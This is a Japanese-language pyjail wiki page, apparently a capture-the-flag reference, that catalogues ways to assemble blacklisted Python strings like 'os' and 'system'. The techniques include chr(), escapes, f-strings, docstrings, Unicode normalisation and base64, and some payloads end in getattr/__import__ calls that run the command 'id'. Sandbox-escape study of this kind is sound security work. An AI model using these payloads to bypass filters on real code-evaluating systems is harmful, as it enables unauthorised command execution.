pyjail wiki

String Construction

Overview

特定の文字列やキーワードがブラックリストされている場合、様々な方法で文字列を構築してバイパスできる。

chr() による構築

# "os" を構築
chr(111) + chr(115) # "os"
# __import__("os").system("id")
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))

chr() なしで数値から文字へ

# bytes を使用
bytes([111, 115]).decode() # "os"
# format を使用
'%c%c' % (111, 115) # "os"

16進数・8進数エンコード

# 16進数
'\x6f\x73' # "os"
# 8進数
'\157\163' # "os"
# bytes リテラル
b'\x6f\x73'.decode() # "os"

f-string の活用

# 式展開
f"{chr(111)}{chr(115)}" # "os"
# 変換フラグ
f"{111:c}{115:c}" # "os"
# format_spec での計算
f"{(lambda: __import__('os'))()}"

文字列結合

# 単純結合
'o' + 's'
# join
''.join(['o', 's'])
# format
'{}{}'.format('o', 's')
# % フォーマット
'%s%s' % ('o', 's')

docstring からの抽出

# 空白やカッコなど
().__doc__[19] # ' '
().__class__.__doc__[4] # '('
# 文字を探索
[i for i, c in enumerate(''.__doc__) if c == 'o']

属性名からの抽出

# __name__ から
str.__name__[0] # 's'
type.__name__[0] # 't'
# dir() の結果から
dir(())[0][0] # '_' (__add__ の最初の文字)

Unicode トリック

# NFKC 正規化される文字
'os' # 全角 → "os" として認識される
# 上付き文字
'ᵒˢ' # 一部環境で正規化

base64 / codecs

# base64
__import__('base64').b64decode('b3M=').decode() # "os"
# codecs
__import__('codecs').decode('6f73', 'hex') # b'os'

getattr との組み合わせ

# getattr(obj, "system") を構築
getattr(__import__(chr(111)+chr(115)), chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))('id')

リスト内包表記での構築

# 文字リストから結合
''.join([chr(i) for i in [111, 115]])
# map を使用
''.join(map(chr, [111, 115]))

数字が使えない場合

# True/False を利用
chr((True+True)**(True+True+True+True+True+True+True)-(True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
# len() を利用
chr(len('ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo')) # 111 = 'o'

Tips

  • ord('a') で文字のコードポイントを確認
  • 複数の手法を組み合わせて複雑なフィルタを回避
  • f-string の :c フォーマットは chr() の代替として有用